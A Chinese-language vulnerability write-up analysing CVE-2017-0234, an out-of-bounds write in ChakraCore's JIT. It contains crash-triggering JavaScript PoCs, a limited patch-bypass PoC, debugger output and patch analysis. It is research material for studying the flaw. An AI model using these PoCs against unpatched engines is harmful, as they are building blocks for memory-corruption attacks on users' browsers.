case study:cve-2017-0234

vs调试环境配置

编译

首先下载ChakraCore
然后git clone https://github.com/Microsoft/ChakraCore.git
在ChakraCore项目中搜索CVE-2017-0234,找到patch的commit,然后得到有漏洞的版本的hash

然后checkout,git checkout d8ef97d90c231e83db96dc4fdff4b39409f7a9b6
然后在VS2015中打开Build\Chakra.Core.sln,并生成解决方案

调试


右键设置为启动项目

在命令参数写好绝对路径并执行

windbg调试环境配置

在windows store下载windbg preview
设置符号服务器
SRV*c:\edgesymbol*http://msdl.microsoft.com/download/symbols

直接调试chakra

Windbg preview可以直接查看源码,在源码点击下断,很方便。

crash

PoC

1
2
3
4
5
6
7
8
9
function write(begin, end, step, num) {
for (var i = begin; i < end; i += step) view[i] = num;
}

var buffer = new ArrayBuffer(0x10000);
var view = new Uint32Array(buffer);

write(0, 0x4000, 1, 0x1234);
write(0x3000000e, 0x40000010, 0x10000, 1851880825);



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
>k
索引 函数
--------------------------------------------------------------------------------
1 0000018d9694015c()
*2 ChakraCore.dll!Js::InterpreterStackFrame::CallLoopBody(void *(*)(Js::RecyclableObject *, Js::CallInfo) address=0x0000018d96940000)
3 ChakraCore.dll!Js::InterpreterStackFrame::DoLoopBodyStart(unsigned int loopNumber=0, Js::LayoutSize layoutSize=SmallLayout, const bool doProfileLoopCheck=false, bool isFirstIteration=true)
4 ChakraCore.dll!Js::InterpreterStackFrame::ProfiledLoopBodyStart<1,1>(unsigned int loopNumber=0, Js::LayoutSize layoutSize=SmallLayout, bool isFirstIteration=true)
5 ChakraCore.dll!Js::InterpreterStackFrame::OP_ProfiledLoopStart<0,1>(const unsigned char * ip=0x0000018d96828b49)
6 ChakraCore.dll!Js::InterpreterStackFrame::ProcessProfiled()
7 ChakraCore.dll!Js::InterpreterStackFrame::Process()
8 ChakraCore.dll!Js::InterpreterStackFrame::InterpreterHelper(Js::ScriptFunction * function=0x0000019598284540, Js::ArgumentReader args={...}, void * returnAddress=0x0000018d968e0fba, void * addressOfReturnAddress=0x0000002e3a7fe4b8, const bool isAsmJs=false)
9 ChakraCore.dll!Js::InterpreterStackFrame::InterpreterThunk(Js::JavascriptCallStackLayout * layout=0x0000002e3a7fe4f0)
10 [外部代码]
11 ChakraCore.dll!amd64_CallFunction()
12 ChakraCore.dll!Js::JavascriptFunction::CallFunction<1>(Js::RecyclableObject * function=0x0000019598284540, void *(*)(Js::RecyclableObject *, Js::CallInfo) entryPoint=0x00007ffa62c074a0, Js::Arguments args={...})
13 ChakraCore.dll!Js::InterpreterStackFrame::OP_CallCommon<Js::OpLayoutDynamicProfile<Js::OpLayoutT_CallIWithICIndex<Js::LayoutSizePolicy<0> > > >(const Js::OpLayoutDynamicProfile<Js::OpLayoutT_CallIWithICIndex<Js::LayoutSizePolicy<0> > > * playout=0x0000018d968b009f, Js::RecyclableObject * function=0x0000019598284540, unsigned int flags=16, const Js::AuxArray<unsigned int> * spreadIndices=0x0000000000000000)
14 ChakraCore.dll!Js::InterpreterStackFrame::OP_ProfileCallCommon<Js::OpLayoutDynamicProfile<Js::OpLayoutT_CallIWithICIndex<Js::LayoutSizePolicy<0> > > >(const Js::OpLayoutDynamicProfile<Js::OpLayoutT_CallIWithICIndex<Js::LayoutSizePolicy<0> > > * playout=0x0000018d968b009f, Js::RecyclableObject * function=0x0000019598284540, unsigned int flags=0, unsigned short profileId=3, unsigned int inlineCacheIndex=3, const Js::AuxArray<unsigned int> * spreadIndices=0x0000000000000000)
15 ChakraCore.dll!Js::InterpreterStackFrame::OP_ProfiledCallIWithICIndex<Js::OpLayoutT_CallIWithICIndex<Js::LayoutSizePolicy<0> > >(const Js::OpLayoutDynamicProfile<Js::OpLayoutT_CallIWithICIndex<Js::LayoutSizePolicy<0> > > * playout=0x0000018d968b009f, unsigned int flags=0)
16 ChakraCore.dll!Js::InterpreterStackFrame::ProcessProfiled()
17 ChakraCore.dll!Js::InterpreterStackFrame::Process()
18 ChakraCore.dll!Js::InterpreterStackFrame::InterpreterHelper(Js::ScriptFunction * function=0x00000195982844e0, Js::ArgumentReader args={...}, void * returnAddress=0x0000018d968e0fc2, void * addressOfReturnAddress=0x0000002e3a7fef48, const bool isAsmJs=false)
19 ChakraCore.dll!Js::InterpreterStackFrame::InterpreterThunk(Js::JavascriptCallStackLayout * layout=0x0000002e3a7fef80)
20 [外部代码]
21 ChakraCore.dll!amd64_CallFunction()
22 ChakraCore.dll!Js::JavascriptFunction::CallFunction<1>(Js::RecyclableObject * function=0x00000195982844e0, void *(*)(Js::RecyclableObject *, Js::CallInfo) entryPoint=0x00007ffa62c074a0, Js::Arguments args={...})
23 ChakraCore.dll!Js::JavascriptFunction::CallRootFunctionInternal(Js::Arguments args={...}, Js::ScriptContext * scriptContext=0x0000018d968dd620, bool inScript=true)
24 ChakraCore.dll!Js::JavascriptFunction::CallRootFunction(Js::Arguments args={...}, Js::ScriptContext * scriptContext=0x0000018d968dd620, bool inScript=true)
25 ChakraCore.dll!RunScriptCore::__l2::<lambda>(Js::ScriptContext * scriptContext=0x0000018d968dd620, TTD::TTDJsRTActionResultAutoRecorder & _actionEntryPopper={...})
26 ChakraCore.dll!ContextAPIWrapper::__l2::<lambda>(Js::ScriptContext * scriptContext=0x0000018d968dd620)
27 ChakraCore.dll!ContextAPIWrapper_Core<0,_JsErrorCode <lambda>(Js::ScriptContext *) >(ContextAPIWrapper::__l2::_JsErrorCode <lambda>(Js::ScriptContext *) fn=_JsErrorCode <lambda>(Js::ScriptContext * scriptContext){...})
28 ChakraCore.dll!ContextAPIWrapper<0,_JsErrorCode <lambda>(Js::ScriptContext *, TTD::TTDJsRTActionResultAutoRecorder &) >(RunScriptCore::__l2::_JsErrorCode <lambda>(Js::ScriptContext *, TTD::TTDJsRTActionResultAutoRecorder &) fn=_JsErrorCode <lambda>(Js::ScriptContext * scriptContext, TTD::TTDJsRTActionResultAutoRecorder & _actionEntryPopper){...})
29 ChakraCore.dll!RunScriptCore(void * scriptSource=0x00000195982bc000, const unsigned char * script=0x0000018d967278e0, unsigned __int64 cb=266, LoadScriptFlag loadScriptFlag=LoadScriptFlag_Utf8Source | LoadScriptFlag_ExternalArrayBuffer, unsigned __int64 sourceContext=0, const wchar_t * sourceUrl=0x0000018d9682c1c0, bool parseOnly=false, _JsParseScriptAttributes parseAttributes=JsParseScriptAttributeNone, bool isSourceModule=false, void * * result=0x0000000000000000)
30 ChakraCore.dll!CompileRun(void * scriptVal=0x00000195982bc000, unsigned __int64 sourceContext=0, void * sourceUrl=0x000001959827d020, _JsParseScriptAttributes parseAttributes=JsParseScriptAttributeNone, void * * result=0x0000000000000000, bool parseOnly=false)
31 ChakraCore.dll!JsRun(void * scriptVal=0x00000195982bc000, unsigned __int64 sourceContext=0, void * sourceUrl=0x000001959827d020, _JsParseScriptAttributes parseAttributes=JsParseScriptAttributeNone, void * * result=0x0000000000000000)
32 ch.exe!ChakraRTInterface::JsRun(void * script=0x00000195982bc000, unsigned __int64 sourceContext=0, void * sourceUrl=0x000001959827d020, _JsParseScriptAttributes parseAttributes=JsParseScriptAttributeNone, void * * result=0x0000000000000000)
33 ch.exe!RunScript(const char * fileName=0x0000018d9673df50, const char * fileContents=0x0000018d967278e0, void * bufferValue=0x0000000000000000, char * fullPath=0x0000002e3a7ffa70)
34 ch.exe!ExecuteTest(const char * fileName=0x0000018d9673df50)
35 ch.exe!ExecuteTestWithMemoryCheck(char * fileName=0x0000018d9673df50)
36 ch.exe!StaticThreadProc(void * lpParam=0x0000002e3a17fba8)
37 ch.exe!invoke_thread_procedure(unsigned int(*)(void *) procedure=0x00007ff7d84647d0, void * const context=0x0000002e3a17fba8)
38 ch.exe!thread_start<unsigned int (__cdecl*)(void * __ptr64)>(void * const parameter=0x0000018d9673ea70)
39 [外部代码]

分析

JIT


关于JIT生成不是重点,于是我调试了一下并没有详细写出调用,只是说一下。
在循环的解释执行次数超出loopInterpretCount的值的时候,就会进入JIT代码生成,然后在JIT代码生成后就转到JIT中执行,不再解释执行。

在JIT优化之后,DoLoopBodyStart调用CallLoopBody,参数是循环体JIT代码的地址。

1
2
3
4
5
6
7
8
9
10
if (fn->GetIsAsmJsFunction())
{
AutoRestoreLoopNumbers autoRestore(this, loopNumber, doProfileLoopCheck);
newOffset = this->CallAsmJsLoopBody(entryPointInfo->jsMethod);
}
else
{
AutoRestoreLoopNumbers autoRestore(this, loopNumber, doProfileLoopCheck);
newOffset = this->CallLoopBody(entryPointInfo->jsMethod);
}

漏洞触发在循环体中

分析patch前汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
...
...
...
0000018D96940138 mov dword ptr [rdi+9397Ch],ecx
0000018D9694013E inc ecx
0000018D96940140 cmp r9d,r10d ---->检查begin是否小于end
0000018D96940143 jge 0000018D96940181
0000018D96940145 mov r11,r14
0000018D96940148 mov r13,r11
0000018D9694014B shr r13,30h
0000018D9694014F cmp r13,1
0000018D96940153 jne 0000018D9694032F
0000018D96940159 mov r13d,r11d
0000018D9694015C mov dword ptr [rsi+r9*4],r13d ---->对数组元素赋值

mov dword ptr [rsi+r9*4],r13d是对view数组元素赋值,rsi是buffer的首地址,r9是数组索引值i,r13d即1851880825(hex:0x6E617579)是要赋的值


由汇编可以看出,缺少对索引值的边界检查(或者说优化后只剩下了检查begin是否小于end,但是没有检查索引上界end是否超出数组内存边界)
于是就访问到了不能访问的地址,crash。

patch分析

  • patch
    https://github.com/Microsoft/ChakraCore/commit/a1345ad48064921e8eb45fa0297ce405a7df14d3
    1
    2
    Too aggressive bound check removal
    Don't eliminate bounds checks on virtual typed arrays if we can't guarantee that the accesses will be within 4Gb
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    -            eliminatedLowerBoundCheck = true;
    - eliminatedUpperBoundCheck = true;
    - canBailOutOnArrayAccessHelperCall = false;
    + // Unless we're in asm.js (where it is guaranteed that virtual typed array accesses cannot read/write beyond 4GB),
    + // check the range of the index to make sure we won't access beyond the reserved memory beforing eliminating bounds
    + // checks in jitted code.
    + if (!GetIsAsmJSFunc())
    + {
    + IR::RegOpnd * idxOpnd = baseOwnerIndir->GetIndexOpnd();
    + if (idxOpnd)
    + {
    + StackSym * idxSym = idxOpnd->m_sym->IsTypeSpec() ? idxOpnd->m_sym->GetVarEquivSym(nullptr) : idxOpnd->m_sym;
    + Value * idxValue = FindValue(idxSym);
    + IntConstantBounds idxConstantBounds;
    + if (idxValue && idxValue->GetValueInfo()->TryGetIntConstantBounds(&idxConstantBounds))
    + {
    + BYTE indirScale = Lowerer::GetArrayIndirScale(baseValueType);
    + int32 upperBound = idxConstantBounds.UpperBound();
    + int32 lowerBound = idxConstantBounds.LowerBound();
    + if (lowerBound >= 0 && ((static_cast<uint64>(upperBound) << indirScale) < MAX_ASMJS_ARRAYBUFFER_LENGTH))
    + {
    + eliminatedLowerBoundCheck = true;
    + eliminatedUpperBoundCheck = true;
    + canBailOutOnArrayAccessHelperCall = false;
    + }
    + }
    + }
    + }
    + else
    + {
    + eliminatedLowerBoundCheck = true;
    + eliminatedUpperBoundCheck = true;
    + canBailOutOnArrayAccessHelperCall = false;
    + }

要分析patch,可以先看一下patch后现在的JIT代码是什么样,跟进JIT。
在这下个断点,跟到JIT里

再在JIT里下断点

继续执行到断点,并单步跟进

分析patch后汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
000001E8AB960000  mov         rax,1DFAB6B0A78h  
000001E8AB96000A mov rax,qword ptr [rax]
000001E8AB96000D add rax,1C20h
000001E8AB960014 jo 000001E8AB960376
000001E8AB96001A cmp rsp,rax
000001E8AB96001D jle 000001E8AB960376
000001E8AB960023 nop dword ptr [rax]
000001E8AB960027 nop dword ptr [rax]
000001E8AB96002B mov qword ptr [rsp+20h],r9
000001E8AB960030 mov qword ptr [rsp+18h],r8
000001E8AB960035 mov qword ptr [rsp+10h],rdx
000001E8AB96003A mov qword ptr [rsp+8],rcx
000001E8AB96003F push rbp
000001E8AB960041 mov rbp,rsp
000001E8AB960044 sub rsp,30h
000001E8AB960048 push r15
000001E8AB96004A push r14
000001E8AB96004C push r13
000001E8AB96004E push r12
000001E8AB960050 push rdi
000001E8AB960052 push rsi
000001E8AB960054 push rbx
000001E8AB960056 sub rsp,28h
000001E8AB96005A mov rbx,1DFAB6701C0h
000001E8AB960064 mov rsi,7FFA484B2198h
000001E8AB96006E mov rdi,1E7AB7C47C4h
000001E8AB960078 mov r12,qword ptr [rbp+20h]
000001E8AB96007C mov r13,qword ptr [r12+160h]
000001E8AB960084 mov r14,qword ptr [r12+168h]
000001E8AB96008C mov r15,qword ptr [r12+158h]
000001E8AB960094 mov rax,qword ptr [r12+170h]
000001E8AB96009C xor ecx,ecx
000001E8AB96009E mov byte ptr [rbx+41D18h],1
000001E8AB9600A5 mov byte ptr [rbx+41BBAh],3
000001E8AB9600AC mov rdx,qword ptr [rdi+1784Ch]
000001E8AB9600B3 mov rdx,qword ptr [rdx+38h]
000001E8AB9600B7 mov byte ptr [rbx+41BBAh],0
000001E8AB9600BE cmp byte ptr [rbx+41D18h],1
000001E8AB9600C5 jne 000001E8AB9601CE
000001E8AB9600CB mov r8,r13
000001E8AB9600CE mov r9,r8
000001E8AB9600D1 shr r9,30h
000001E8AB9600D5 cmp r9,1
000001E8AB9600D9 jne 000001E8AB9601E4
000001E8AB9600DF mov r8d,r8d
000001E8AB9600E2 mov r9,rax
000001E8AB9600E5 mov r10,r9
000001E8AB9600E8 shr r10,30h
000001E8AB9600EC cmp r10,1
000001E8AB9600F0 jne 000001E8AB960231
000001E8AB9600F6 mov r9d,r9d
000001E8AB9600F9 mov r10,r15
000001E8AB9600FC mov r11,r10
000001E8AB9600FF shr r11,30h
000001E8AB960103 cmp r11,1
000001E8AB960107 jne 000001E8AB96028A
000001E8AB96010D mov r10d,r10d
000001E8AB960110 mov r11,rdx
000001E8AB960113 shr r11,30h
000001E8AB960117 jne 000001E8AB9602E4
000001E8AB96011D cmp qword ptr [rdx],rsi
000001E8AB960120 jne 000001E8AB9602E4
000001E8AB960126 mov esi,dword ptr [rdx+20h]
000001E8AB960129 cmp r10d,esi ---->比较索引上界是否超出数组内存边界(检查上界)
  • 比较索引上界是否超出数组长度(检查上界)
1
2
3
4
5
6
7
8
000001E8AB96012C  jg          000001E8AB9602F7  
000001E8AB960132 mov rbx,qword ptr [rdx+38h]
000001E8AB960136 mov rsi,1DFAB6B0A78h
000001E8AB960140 cmp rsp,qword ptr [rsi]
000001E8AB960143 jle 000001E8AB96032A
000001E8AB960149 mov dword ptr [rdi+9397Ch],ecx
000001E8AB96014F inc ecx
000001E8AB960151 cmp r9d,r10d ----->比较索引值是否到达索引上界
  • 比较索引值是否到达索引上界
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    000001E8AB960154  jge         000001E8AB96019A  
    000001E8AB960156 test r9d,r9d
    000001E8AB960159 js 000001E8AB96033C
    000001E8AB96015F mov rsi,r14
    000001E8AB960162 mov r11,rsi
    000001E8AB960165 shr r11,30h
    000001E8AB960169 cmp r11,1
    000001E8AB96016D jne 000001E8AB960358
    000001E8AB960173 mov esi,esi
    000001E8AB960175 mov dword ptr [rbx+r9*4],esi ----->数组赋值
  • 数组赋值

关于patch的思考

1
2
3
4
5
6
+                        if (lowerBound >= 0 && ((static_cast<uint64>(upperBound) << indirScale) < MAX_ASMJS_ARRAYBUFFER_LENGTH))
+ {
+ eliminatedLowerBoundCheck = true;
+ eliminatedUpperBoundCheck = true;
+ canBailOutOnArrayAccessHelperCall = false;
+ }

要绕过patch再次触发就要进入这个if body,(static_cast(upperBound) << indirScale)的限制是要小于4GB,这应该和内存分配有关。
var buffer = new ArrayBuffer(0x10000);
能否在进入if body的同时,又能OOB超出数组长度,就是后面需要思考的问题。

1
2
3
4
5
6
IntConstantBounds idxConstantBounds;
if (idxValue && idxValue->GetValueInfo()->TryGetIntConstantBounds(&idxConstantBounds))
{
BYTE indirScale = Lowerer::GetArrayIndirScale(baseValueType);
int32 upperBound = idxConstantBounds.UpperBound();
int32 upperBound = idxConstantBounds.LowerBound();

该段代码表示了程序试图获取ConstantBounds来赋值给idxConstantBounds从而控制upperBound&lowerBound
因此PoC中需要构造常数边界来控制upperBound&upperBound从而控制下列判断:

1
if (lowerBound >= 0 && ((static_cast<uint64>(upperBound) << indirScale) < MAX_ASMJS_ARRAYBUFFER_LENGTH))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//回溯分析
//rax = idxOpnd
//if (idxOpnd)
//idxSym = idxOpnd->m_sym;
//{
//test rax,rax
//...
//mov rax,qword ptr [rax+8]
//...
//mov rcx,rax
//...
//StackSym::GetTypeEquivSym(IRType type, Func *func)
//...
//mov rax,qword ptr [rcx+30h]
//}
//Value * idxValue = FindValue(idxSym); //rax
//IntConstantBounds idxConstantBounds; //rax
//if (idxValue && idxValue->GetValueInfo()->TryGetIntConstantBounds(&idxConstantBounds)) //rax

经过测试,在patch了的函数那里下断,跟进到这个if判断,得到有限制的bypass patch PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function write(j,number)
{
for(var i=0;i<0x10000;i++) //create jit code
{
if(j>=0 && j<=0x6000000) view[j]=number;
}
}

var buffer = new ArrayBuffer(0x10000);
var view = new Uint32Array(buffer);

write(0x1234,1) //jit create
write(0x123456,1) //bypass(limited) patch

//mov r8,qword ptr [rbp-78h]= 0600000000000000

//R8  = 06000000 00000000
// high low

//test r8d,r8d r8d=0
//shr r8,20h r8=0x0000000006000000
//movsxd rdx,r8d rdx=0x06000000
//movzx ecx,al al=2
//shl rdx,cl
//mov rax,100000000h
//cmp rdx,rax

更多的思考

chakra为什么这么优化,它涉及怎样的一个pattern,这样优化和buffer相关的点有哪些?

  1. 为什么JIT优化去掉边界?它为什么会去掉边界?(和4GB有关,这种特殊的buffer分配方式)
  2. PoC能否修改?怎么修改?思考如下:
  • 不同的对象能否触发?举例:一定要是Uint32Array或者ArrayBuffer么?
  • 是否一定用到循环?去掉循环行不行?怎么精简PoC?

JIT优化&&内存分配

经过进一步对内存分配的调试(首先我在windbg里对windows API下断,参考了这篇,然后回溯确实跟到了VirtualAlloc,不过和我找的不是同一个。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
0:000> bp KERNEL32!VirtualAllocStub
0:000> g
ModLoad: 00007ffc`0e250000 00007ffc`0fc52000 D:\chakracore\ChakraCore\Build\VcBuild\bin\x64_debug\chakracore.dll
ModLoad: 00007ffc`55f90000 00007ffc`560d5000 C:\windows\System32\ole32.dll
ModLoad: 00007ffc`54030000 00007ffc`54057000 C:\windows\System32\GDI32.dll
ModLoad: 00007ffc`529c0000 00007ffc`52b47000 C:\windows\System32\gdi32full.dll
ModLoad: 00007ffc`53780000 00007ffc`538ca000 C:\windows\System32\USER32.dll
ModLoad: 00007ffc`529a0000 00007ffc`529be000 C:\windows\System32\win32u.dll
ModLoad: 00007ffc`53f10000 00007ffc`53f69000 C:\windows\System32\sechost.dll
ModLoad: 00007ffc`53b90000 00007ffc`53c31000 C:\windows\System32\ADVAPI32.dll
ModLoad: 00007ffc`406c0000 00007ffc`40869000 C:\windows\SYSTEM32\dbghelp.dll
ModLoad: 00007ffc`40b50000 00007ffc`40b79000 C:\windows\SYSTEM32\dbgcore.DLL
ModLoad: 00007ffc`54190000 00007ffc`541bd000 C:\windows\System32\IMM32.DLL
Breakpoint 0 hit
KERNEL32!VirtualAllocStub:
00007ffc`53f99800 48ff2569c60500 jmp qword ptr [KERNEL32!_imp_VirtualAlloc (00007ffc`53ff5e70)] ds:00007ffc`53ff5e70={KERNELBASE!VirtualAlloc (00007ffc`532aafc0)}

0:000> k
# Child-SP RetAddr Call Site
00 00000030`208fec08 00007ffc`0e34bfe2 KERNEL32!VirtualAllocStub
01 00000030`208fec10 00007ffc`0e252610 chakracore!Memory::X64WriteBarrierCardTableManager::Initialize+0x82 [d:\chakracore\chakracore\lib\common\memory\recyclerwritebarriermanager.cpp @ 232]
02 00000030`208fec70 00007ffc`0f0e647d chakracore!`dynamic initializer for 'Memory::RecyclerWriteBarrierManager::cardTable''+0x10 [d:\chakracore\chakracore\lib\common\memory\recyclerwritebarriermanager.cpp @ 29]
03 00000030`208feca0 00007ffc`0f0641bd chakracore!_initterm+0x5d [d:\th\minkernel\crts\ucrt\src\appcrt\startup\initterm.cpp @ 22]
04 00000030`208fece0 00007ffc`0f0640b7 chakracore!dllmain_crt_process_attach+0xbd [f:\dd\vctools\crt\vcstartup\src\startup\dll_dllmain.cpp @ 67]
05 00000030`208fed30 00007ffc`0f064345 chakracore!dllmain_crt_dispatch+0x47 [f:\dd\vctools\crt\vcstartup\src\startup\dll_dllmain.cpp @ 133]
06 00000030`208fed70 00007ffc`0f0644c1 chakracore!dllmain_dispatch+0x75 [f:\dd\vctools\crt\vcstartup\src\startup\dll_dllmain.cpp @ 190]
07 00000030`208fedc0 00007ffc`5622485f chakracore!_DllMainCRTStartup+0x31 [f:\dd\vctools\crt\vcstartup\src\startup\dll_dllmain.cpp @ 249]
08 00000030`208fedf0 00007ffc`5624d762 ntdll!LdrpCallInitRoutine+0x6b
09 00000030`208fee60 00007ffc`5624d5ab ntdll!LdrpInitializeNode+0x15a
0a 00000030`208fef80 00007ffc`56247045 ntdll!LdrpInitializeGraphRecurse+0x73
0b 00000030`208fefc0 00007ffc`5621d690 ntdll!LdrpPrepareModuleForExecution+0xc5
0c 00000030`208ff000 00007ffc`5621d273 ntdll!LdrpLoadDllInternal+0x1a4
0d 00000030`208ff080 00007ffc`5621c3cc ntdll!LdrpLoadDll+0x107
0e 00000030`208ff220 00007ffc`5328eb02 ntdll!LdrLoadDll+0x8c
0f 00000030`208ff320 00007ffc`532ba6d1 KERNELBASE!LoadLibraryExW+0x152
10 00000030`208ff390 00007ff6`ee0d5509 KERNELBASE!LoadLibraryExA+0x31
11 00000030`208ff3d0 00007ff6`ee0d55e9 CH!LoadChakraCore+0x19 [d:\chakracore\chakracore\bin\ch\chakrartinterface.cpp @ 38]
12 00000030`208ff400 00007ff6`ee0d51ac CH!ChakraRTInterface::LoadChakraDll+0xd9 [d:\chakracore\chakracore\bin\ch\chakrartinterface.cpp @ 67]
13 00000030`208ff7b0 00007ff6`ee0efee4 CH!wmain+0x61c [d:\chakracore\chakracore\bin\ch\ch.cpp @ 942]
14 00000030`208ff910 00007ff6`ee0efdf7 CH!invoke_main+0x34 [f:\dd\vctools\crt\vcstartup\src\startup\exe_common.inl @ 80]
15 00000030`208ff950 00007ff6`ee0efcbe CH!__scrt_common_main_seh+0x127 [f:\dd\vctools\crt\vcstartup\src\startup\exe_common.inl @ 253]
16 00000030`208ff9b0 00007ff6`ee0efef9 CH!__scrt_common_main+0xe [f:\dd\vctools\crt\vcstartup\src\startup\exe_common.inl @ 296]
17 00000030`208ff9e0 00007ffc`53f92784 CH!wmainCRTStartup+0x9 [f:\dd\vctools\crt\vcstartup\src\startup\exe_wmain.cpp @ 17]
18 00000030`208ffa10 00007ffc`56270d51 KERNEL32!BaseThreadInitThunk+0x14
19 00000030`208ffa40 00000000`00000000 ntdll!RtlUserThreadStart+0x21

于是全局搜索MEM_COMMIT,在ArrayBuffer.h里找到线索,并调试确认。
结论如下:
在为ArrayBuffer进行内存分配时,会对长度有一个判断。

并根据这个判断的返回结果,决定使用Virtual Alloc(AllocWrapper是一个包装)还是malloc来分配内存。
这主要是根据length的长度和”标志位“。

如果是用Virtual Alloc分配(关于这种分配方式的参数,可以参考MSDN)

那么为ArrayBuffer分配的保留空间大小为4GB

随后COMMIT真正使用的大小,也就是PoC里的0x10000

JIT在优化的时候会因为我们给这个Buffer分配的内存足够大(4GB),就去掉了边界检查,但其实这是一个安全隐患。

Pattern匹配

我尝试着替换ArrayBuffer,寻找和此处bug逻辑相似的地方,在源码里搜索,不过暂时没有找到疑似的地方。

触发条件(修改PoC)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if (baseValueType.IsLikelyOptimizedVirtualTypedArray() && !Js::IsSimd128LoadStore(instr->m_opcode) /*Always extract bounds for SIMD */)
{
if (isProfilableStElem ||
!instr->IsDstNotAlwaysConvertedToInt32() ||
( (baseValueType.GetObjectType() == ObjectType::Float32VirtualArray ||
baseValueType.GetObjectType() == ObjectType::Float64VirtualArray) &&
!instr->IsDstNotAlwaysConvertedToNumber()
)
)
{
eliminatedLowerBoundCheck = true;
eliminatedUpperBoundCheck = true;
canBailOutOnArrayAccessHelperCall = false;
}
}
  1. 替换控制ArrayBuffer的对象
  2. 测试case

TypeView

PoC里用的是Uint32Array,其实TypedView只要宽度大于一个字节都是可以的
下面这些都测试成功。(其实主要常用的写exp的还是FloatArray)

1
2
3
4
5
6
7
8
9
10
Uint8Array();-
Uint16Array();+
Uint32Array();+

Int8Array();-
Int16Array();+
Int32Array();+

Float32Array();+
Float64Array();+

DataView

  • JSObject
    • JSArray
      • JSArrayBuffer
      • JSArrayBufferView
        • JSTypedArray
        • JSDataView

ArrayBuffer需要用TypedArray或DataView来实际访问。
而为了Exploit,最好不要做多余的事情(当发生意想不到的事情时很麻烦),因此比起DataView,我们更多的使用TypedArray。
不过我这里还是测试了一下DataView,没有成功。

1
2
3
4
5
6
7
8
9
function write(begin, end, step, num) {
for (var i = begin; i < end; i += step)
view.setInt32(i,num);
}

var buffer = new ArrayBuffer(0x10000);
var view = new DataView(buffer);
write(0, 0x4000, 1, 0x1234);
write(0x3000000e, 0x40000010, 0x10000, 1);
1
2
3
4
$ /d/chakracore/ChakraCore/Build/VcBuild/bin/x64_debug/ch.exe test3.js
TypeError: DataView operation access beyond specified buffer length
at write (d:\cve-2017-0234\test3.js:3:6)
at Global code (d:\cve-2017-0234\test3.js:9:1)


全局搜索报错字符串并查找引用寻找原因。

其他

在patch后,要触发需要构造常数边界(上面有分析)

1
2
3
4
5
6
if (isProfilableStElem ||
!instr->IsDstNotAlwaysConvertedToInt32() ||
( (baseValueType.GetObjectType() == ObjectType::Float32VirtualArray ||
baseValueType.GetObjectType() == ObjectType::Float64VirtualArray) &&
!instr->IsDstNotAlwaysConvertedToNumber()
)

isProfilableStElem显然是JIT优化时用来采集的一个标志,所以通过循环生成JIT的时候就可以走进if body。
但是其他和IR有关的“||”选项显然是不能放过的线索,可以测试如何走进这些路径。

开发者的assumption

assumption

如图可知,传入的length的最大长度为MaxArrayBufferLength,length的类型是uint32即最大值2^32-1
MaxArrayBufferLength 0x7fffffff const unsigned int
这里即是对要分配的buffer的空间大小的一次校验。

而采用VirtualAlloc一次分配的大小是4GB即2^32
#define MAX_ASMJS_ARRAYBUFFER_LENGTH 0x100000000 //4GB


然而在通过索引访问buffer的时候,索引的类型也是uint32的。
于是若是数组索引,按照单个元素size同比扩容之后,则有可能超过4GB的虚拟内存(即length最大可以申请到4G,但是访问可以是4G*x)。
而对于访问超过分配的buffer但是在VirtualAlloc分配的4G内的越界读写会直接会由硬件进行捕获。
我推测开发者在写代码的时候,正是没有注意到这一点,于是只是简单的出于性能优化的考虑,错误的判断了索引无论如何都不可能超出保留的大空间越界访问(因为4G是“最大”了,而在4G内的越界访问都会被硬件捕获并终止)
于是就直接去掉了边界。

other

最简单也是最常见的可优化边界检查代码就是处在循环里的边界检查。

我们假设循环具有迭代变量i,且初值为init, 终值为fin,i++
只有循环控制代码修改i
假设必须要满足的范围是lo < i < hi
本来循环应该是这样的:

1
2
3
4
5
6
7
8
    i <- init
L1: ...
if i < lo trap
if i > hi trap
use of i that must satisfy lo <= i <=hi
....
i <- i + 1
if i <= fin goto L1

最容易处理的情况是i为常量v,则只需要将检查lo < i < hi的代码外提到循环的前置块里即可

下一种稍微复杂一点的情况是i为变量,这样我们就要处理范围表达式lo < i < hi(比如说分配的数组最大空间不超过hi,最小不小于0)
其中i是循环控制变量,在这种情况下,只需要lo < init且 fin < hi , 就能满足范围表达式
于是我们可以这么做

1
2
3
4
5
6
7
8
9
    if lo > init trap (i的初始值为init,如果init 比 i需满足的最小值还小,则trap
t1 <- min(fin, hi)
i <- init
L1: ...
use of i that must satisfy lo <= i <= hi
....
i <- i + 1
if i <= t1 goto L1
if i <= fin trap 6(i本应该到达fin,如果i不能到达它本来应该到达的值,就trap

GC和VirtualAlloc在安全性上的区别

UAF

UAF(Use After Free):即释放后使用。将Dangling pointer所指向的内存重新分配回来,且尽可能使该内存中的内容可控

MemGC


如图,对象A申请了一个数据块,当释放这个数据块时,若还有其他对象引用这个数据块,那么MemGC不会回收利用,其他程序无法将数据写入这个数据块,从而阻止了UAF漏洞的利用;若没有其他对象引用这个数据块,就不存在UAF漏洞了。

标记清除法

标记清除(Mark and Sweep)是最早开发出的GC算法(1960年)。它的原理非常简单,首先从根开始将可能被引用的对象用递归的方式进行标记,然后将没有标记到的对象作为垃圾进行回收。

图显示了标记清除算法的大致原理。
图中(1)部分显示了随着程序的运行而分配出一些对象的状态,一个对象可以对其他的对象进行引用。
图中(2)部分中,GC开始执行,从根开始对可能被引用的对象打上标记,大多数情况下,这种标记是通过对象内部的标志(Flag)来实现的。于是,被标记的对象我们把它们涂黑。
